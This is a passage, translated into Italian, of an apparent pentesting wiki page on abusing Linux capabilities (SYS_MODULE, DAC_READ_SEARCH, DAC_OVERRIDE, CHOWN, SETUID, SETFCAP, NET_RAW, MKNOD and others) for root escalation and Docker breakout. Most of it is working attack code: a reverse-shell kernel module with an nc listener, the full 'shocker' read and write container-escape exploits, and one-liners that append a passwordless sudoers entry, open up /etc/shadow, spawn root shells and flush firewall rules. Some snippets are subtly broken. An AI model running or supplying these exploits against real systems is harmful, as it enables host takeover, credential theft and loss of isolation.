static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Lo spazio vuoto prima di ogni parola make nel Makefile deve essere una tabulazione, non spazi!

Esegui make per compilarlo.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Infine, avvia nc all'interno di una shell e carica il modulo da un'altra shell e catturerai la shell nel processo nc:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

Il codice di questa tecnica è stato copiato dal laboratorio "Abusing SYS_MODULE Capability" da https://www.pentesteracademy.com/

Un altro esempio di questa tecnica può essere trovato in https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH permette a un processo di bypassare le autorizzazioni per la lettura dei file e per la lettura ed esecuzione delle directory. Il suo utilizzo principale è per la ricerca o la lettura dei file. Tuttavia, consente anche a un processo di utilizzare la funzione open_by_handle_at(2), che può accedere a qualsiasi file, incluso quelli al di fuori dello spazio dei nomi di montaggio del processo. L'handle utilizzato in open_by_handle_at(2) dovrebbe essere un identificatore non trasparente ottenuto tramite name_to_handle_at(2), ma può includere informazioni sensibili come i numeri di inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei container Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato qui. Ciò significa che è possibile bypassare i controlli di autorizzazione per la lettura dei file e i controlli di autorizzazione per la lettura/esecuzione delle directory.

Esempio con un binario

Il binario sarà in grado di leggere qualsiasi file. Quindi, se un file come tar ha questa capacità, sarà in grado di leggere il file shadow:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Esempio con binary2

In questo caso supponiamo che il binario python abbia questa capacità. Per elencare i file di root è possibile eseguire il seguente comando:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

E per leggere un file potresti fare:

print(open("/etc/shadow", "r").read())

Esempio in ambiente (Docker breakout)

Puoi verificare le capacità abilitate all'interno del container Docker utilizzando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

All'interno dell'output precedente è possibile vedere che la capacità DAC_READ_SEARCH è abilitata. Di conseguenza, il contenitore può eseguire il debug dei processi.

È possibile apprendere come funziona lo sfruttamento seguendo il link https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, ma in sintesi CAP_DAC_READ_SEARCH non solo ci consente di attraversare il file system senza controlli di autorizzazione, ma rimuove esplicitamente anche qualsiasi controllo su open_by_handle_at(2) e potrebbe consentire al nostro processo di accedere a file sensibili aperti da altri processi.

L'exploit originale che sfrutta queste autorizzazioni per leggere file dall'host può essere trovato qui: http://stealth.openwall.net/xSports/shocker.c, di seguito è riportata una versione modificata che consente di indicare il file da leggere come primo argomento e di salvarlo in un file.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

L'exploit deve trovare un puntatore a qualcosa montato sull'host. L'exploit originale utilizzava il file /.dockerinit e questa versione modificata utilizza /etc/hostname. Se l'exploit non funziona, potrebbe essere necessario impostare un file diverso. Per trovare un file montato sull'host, esegui semplicemente il comando mount:

Il codice di questa tecnica è stato copiato dal laboratorio "Abusing DAC_READ_SEARCH Capability" di https://www.pentesteracademy.com/

​​​​​​​​​​​RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

CAP_DAC_OVERRIDE

Questo significa che puoi aggirare i controlli di autorizzazione in scrittura su qualsiasi file, quindi puoi scrivere qualsiasi file.

Ci sono molti file che puoi sovrascrivere per ottenere privilegi elevati, puoi trovare idee qui.

Esempio con un binario

In questo esempio, vim ha questa capacità, quindi puoi modificare qualsiasi file come passwd, sudoers o shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Esempio con il binario 2

In questo esempio il binario python avrà questa capacità. Potresti utilizzare python per sovrascrivere qualsiasi file:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Esempio con ambiente + CAP_DAC_READ_SEARCH (Docker breakout)

Puoi verificare le capacità abilitate all'interno del container Docker utilizzando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Prima di tutto, leggi la sezione precedente che sfrutta la capacità DAC_READ_SEARCH per leggere file arbitrari dell'host e compila l'exploit. Successivamente, compila la seguente versione dell'exploit shocker che ti permetterà di scrivere file arbitrari nel filesystem dell'host:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Per scappare dal container Docker, è possibile scaricare i file /etc/shadow e /etc/passwd dall'host, aggiungere ad essi un nuovo utente e utilizzare shocker_write per sovrascriverli. Successivamente, è possibile accedere tramite ssh.

Il codice di questa tecnica è stato copiato dal laboratorio "Abusing DAC_OVERRIDE Capability" da https://www.pentesteracademy.com

CAP_CHOWN

Ciò significa che è possibile cambiare la proprietà di qualsiasi file.

Esempio con un binario

Supponiamo che il binario python abbia questa capacità, è possibile cambiare il proprietario del file shadow, cambiare la password di root ed elevare i privilegi:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

Oppure con il binario ruby che ha questa capacità:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Questo significa che è possibile modificare i permessi di qualsiasi file.

Esempio con un binario

Se Python ha questa capacità, è possibile modificare i permessi del file shadow, cambiare la password di root ed elevare i privilegi:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Questo significa che è possibile impostare l'ID utente effettivo del processo creato.

Esempio con un binario

Se Python ha questa abilità, è possibile sfruttarla facilmente per ottenere privilegi di root:

import os
os.setuid(0)
os.system("/bin/bash")

Un altro modo:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

Questo significa che è possibile impostare l'ID del gruppo effettivo del processo creato.

Ci sono molti file che è possibile sovrascrivere per ottenere privilegi elevati, puoi trovare idee qui.

Esempio con un binario

In questo caso, dovresti cercare file interessanti che un gruppo può leggere perché puoi impersonare qualsiasi gruppo:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Una volta che hai trovato un file che puoi sfruttare (tramite lettura o scrittura) per ottenere privilegi elevati, puoi ottenere una shell impersonando il gruppo interessante con:

import os
os.setgid(42)
os.system("/bin/bash")

In questo caso è stata impersonata il gruppo shadow in modo da poter leggere il file /etc/shadow:

cat /etc/shadow

Se docker è installato, potresti impersonare il gruppo docker e abusarne per comunicare con il socket docker e ottenere privilegi elevati.

CAP_SETFCAP

Questo significa che è possibile impostare le capacità su file e processi

Esempio con un binario

Se Python ha questa capacità, puoi facilmente abusarne per ottenere privilegi elevati come root:

setcapability.py
import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7

Nota che se imposti una nuova capacità al binario con CAP_SETFCAP, perderai questa capacità.

Una volta ottenuta la capacità SETUID, puoi passare alla sua sezione per vedere come ottenere privilegi elevati.

Esempio con ambiente (Docker breakout)

Per impostazione predefinita, la capacità CAP_SETFCAP viene data al processo all'interno del container in Docker. Puoi verificarlo facendo qualcosa come:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Questa capacità consente di assegnare qualsiasi altra capacità ai binari, quindi potremmo pensare di evadere dal contenitore abusando di uno dei precedenti exploit di capacità menzionati in questa pagina. Tuttavia, se si prova ad assegnare ad esempio le capacità CAP_SYS_ADMIN e CAP_SYS_PTRACE al binario gdb, si scoprirà che è possibile assegnarle, ma il binario non sarà in grado di eseguire dopo questo:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

Dalla documentazione: Permitted: Questo è un superset limitante per le capacità effettive che il thread può assumere. È anche un superset limitante per le capacità che possono essere aggiunte all'insieme ereditabile da un thread che non ha la capacità CAP_SETPCAP nel suo insieme effettivo. Sembra che le capacità consentite limitino quelle che possono essere utilizzate. Tuttavia, Docker concede anche il CAP_SETPCAP per impostazione predefinita, quindi potresti essere in grado di impostare nuove capacità all'interno dell'insieme ereditabile. Tuttavia, nella documentazione di questa capacità: CAP_SETPCAP : […] aggiunge qualsiasi capacità dall'insieme di bounding del thread chiamante al suo insieme ereditabile. Sembra che possiamo solo aggiungere all'insieme ereditabile le capacità dall'insieme di bounding. Ciò significa che non possiamo inserire nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nell'insieme ereditabile per l'escalation dei privilegi.

CAP_SYS_RAWIO

CAP_SYS_RAWIO fornisce una serie di operazioni sensibili, tra cui l'accesso a /dev/mem, /dev/kmem o /proc/kcore, la modifica di mmap_min_addr, l'accesso alle chiamate di sistema ioperm(2) e iopl(2), e vari comandi del disco. L'ioctl(2) FIBMAP è anche abilitato tramite questa capacità, il che ha causato problemi in passato (qui). Come indicato nella pagina man, questo consente anche al detentore di eseguire in modo descrittivo una serie di operazioni specifiche del dispositivo su altri dispositivi.

Questo può essere utile per l'escalation dei privilegi e l'evasione di Docker.

CAP_KILL

Ciò significa che è possibile terminare qualsiasi processo.

Esempio con un binario

Supponiamo che il binario python abbia questa capacità. Se potessi modificare anche qualche configurazione di servizio o socket (o qualsiasi file di configurazione relativo a un servizio), potresti inserire un backdoor e quindi terminare il processo relativo a quel servizio e attendere l'esecuzione del nuovo file di configurazione con il tuo backdoor.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc con kill

Se hai le capacità di kill e c'è un programma node in esecuzione come root (o come un utente diverso), probabilmente puoi inviargli il segnale SIGUSR1 e farlo aprire il debugger di node a cui puoi connetterti.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
pageNode inspector/CEF debug abuse

​​​​​​​​​​​​RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

CAP_NET_BIND_SERVICE

Ciò significa che è possibile ascoltare su qualsiasi porta (anche su quelle privilegiate). Non è possibile scalare i privilegi direttamente con questa capacità.

Esempio con binario

Se python ha questa capacità, sarà in grado di ascoltare su qualsiasi porta e persino connettersi da essa a qualsiasi altra porta (alcuni servizi richiedono connessioni da porte privilegiate specifiche)

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

CAP_NET_RAW

La capacità CAP_NET_RAW permette ai processi di creare socket RAW e PACKET, consentendo loro di generare e inviare pacchetti di rete arbitrari. Ciò può comportare rischi per la sicurezza in ambienti containerizzati, come il falsificare pacchetti, l'iniettare traffico e il bypassare i controlli di accesso alla rete. Attori malevoli potrebbero sfruttare ciò per interferire con il routing dei container o compromettere la sicurezza della rete dell'host, specialmente senza adeguate protezioni del firewall. Inoltre, CAP_NET_RAW è fondamentale per i container privilegiati per supportare operazioni come il ping tramite richieste ICMP RAW.

Ciò significa che è possibile intercettare il traffico. Non è possibile scalare i privilegi direttamente con questa capacità.

Esempio con un binario

Se il binario tcpdump ha questa capacità, sarà possibile utilizzarlo per catturare informazioni di rete.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Nota che se l'ambiente fornisce questa capacità, è possibile utilizzare anche tcpdump per intercettare il traffico.

Esempio con il binario 2

L'esempio seguente è un codice python2 che può essere utile per intercettare il traffico dell'interfaccia "lo" (localhost). Il codice proviene dal laboratorio "The Basics: CAP-NET_BIND + NET_RAW" da https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

La capacità CAP_NET_ADMIN concede al possessore il potere di modificare le configurazioni di rete, inclusi le impostazioni del firewall, le tabelle di routing, i permessi dei socket e le impostazioni dell'interfaccia di rete all'interno dei namespace di rete esposti. Consente inoltre di attivare la modalità promiscua sulle interfacce di rete, consentendo di intercettare i pacchetti attraverso i namespace.

Esempio con un binario

Supponiamo che il binario python abbia queste capacità.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Questo significa che è possibile modificare gli attributi dell'inode. Non è possibile ottenere direttamente privilegi di escalation con questa capacità.

Esempio con un binario

Se scopri che un file è immutabile e Python ha questa capacità, puoi rimuovere l'attributo di immutabilità e rendere il file modificabile:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Nota che di solito questo attributo immutabile viene impostato e rimosso usando:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT consente l'esecuzione della chiamata di sistema chroot(2), che potenzialmente permette di evadere gli ambienti chroot(2) attraverso vulnerabilità conosciute:

CAP_SYS_BOOT

CAP_SYS_BOOT non solo consente l'esecuzione della chiamata di sistema reboot(2) per riavviare il sistema, inclusi comandi specifici come LINUX_REBOOT_CMD_RESTART2 adattati a determinate piattaforme hardware, ma consente anche l'uso di kexec_load(2) e, a partire da Linux 3.17, kexec_file_load(2) per caricare nuovi kernel di crash o kernel firmati rispettivamente.

CAP_SYSLOG

CAP_SYSLOG è stato separato dalla più ampia CAP_SYS_ADMIN in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata di sistema syslog(2). Questa capacità consente la visualizzazione degli indirizzi del kernel tramite /proc e interfacce simili quando l'impostazione kptr_restrict è impostata su 1, che controlla l'esposizione degli indirizzi del kernel. A partire da Linux 2.6.39, il valore predefinito per kptr_restrict è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni lo impostano su 1 (nascondi gli indirizzi tranne da uid 0) o 2 (nascondi sempre gli indirizzi) per motivi di sicurezza.

Inoltre, CAP_SYSLOG consente di accedere all'output di dmesg quando dmesg_restrict è impostato su 1. Nonostante queste modifiche, CAP_SYS_ADMIN conserva la capacità di eseguire operazioni di syslog a causa di precedenti storici.

CAP_MKNOD

CAP_MKNOD estende la funzionalità della chiamata di sistema mknod oltre alla creazione di file regolari, FIFO (named pipes) o socket di dominio UNIX. Consente specificamente la creazione di file speciali, che includono:

  • S_IFCHR: File speciali di carattere, che sono dispositivi come terminali.

  • S_IFBLK: File speciali di blocco, che sono dispositivi come dischi.

Questa capacità è essenziale per i processi che richiedono la capacità di creare file di dispositivo, facilitando l'interazione diretta con l'hardware tramite dispositivi di carattere o blocco.

È una capacità predefinita di Docker (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Questa capacità consente di eseguire escalation di privilegi (attraverso la lettura completa del disco) sull'host, in queste condizioni:

  1. Avere accesso iniziale all'host (non privilegiato).

  2. Avere accesso iniziale al container (privilegiato (EUID 0) ed effettivo CAP_MKNOD).

  3. Host e container devono condividere lo stesso namespace utente.

Passaggi per creare e accedere a un dispositivo di blocco in un container:

  1. Sull'host come utente standard:

  • Determina il tuo ID utente corrente con id, ad esempio uid=1000(standarduser).

  • Identifica il dispositivo di destinazione, ad esempio /dev/sdb.

  1. All'interno del container come root:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. Tornando all'host:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

Questo approccio consente all'utente standard di accedere e potenzialmente leggere i dati da /dev/sdb attraverso il container, sfruttando i namespace utente condivisi e i permessi impostati sul dispositivo.

CAP_SETPCAP

CAP_SETPCAP consente a un processo di modificare i set di capacità di un altro processo, consentendo l'aggiunta o la rimozione di capacità dai set effettivi, ereditabili e consentiti. Tuttavia, un processo può modificare solo le capacità che possiede nel proprio set consentito, garantendo che non possa elevare i privilegi di un altro processo oltre i propri. Gli aggiornamenti recenti del kernel hanno reso più rigide queste regole, limitando CAP_SETPCAP solo alla diminuzione delle capacità all'interno del proprio set consentito o di quello dei discendenti, al fine di mitigare i rischi per la sicurezza. L'utilizzo richiede di avere CAP_SETPCAP nel set effettivo e le capacità di destinazione nel set consentito, utilizzando capset() per le modifiche. Questo riassume la funzione principale e le limitazioni di CAP_SETPCAP, evidenziando il suo ruolo nella gestione dei privilegi e nell'incremento della sicurezza.

CAP_SETPCAP è una capacità di Linux che consente a un processo di modificare i set di capacità di un altro processo. Concede la possibilità di aggiungere o rimuovere capacità dai set di capacità effettivi, ereditabili e consentiti di altri processi. Tuttavia, ci sono alcune restrizioni su come questa capacità può essere utilizzata.

Un processo con CAP_SETPCAP può solo concedere o rimuovere capacità che sono nel proprio set di capacità consentito. In altre parole, un processo non può concedere una capacità a un altro processo se non possiede quella capacità stessa. Questa restrizione impedisce a un processo di elevare i privilegi di un altro processo oltre il proprio livello di privilegio.

Inoltre, nelle versioni recenti del kernel, la capacità CAP_SETPCAP è stata ulteriormente limitata. Non consente più a un processo di modificare arbitrariamente i set di capacità di altri processi. Invece, consente solo a un processo di ridurre le capacità nel proprio set di capacità consentito o nel set di capacità consentito dei suoi discendenti. Questo cambiamento è stato introdotto per ridurre i potenziali rischi per la sicurezza associati alla capacità.

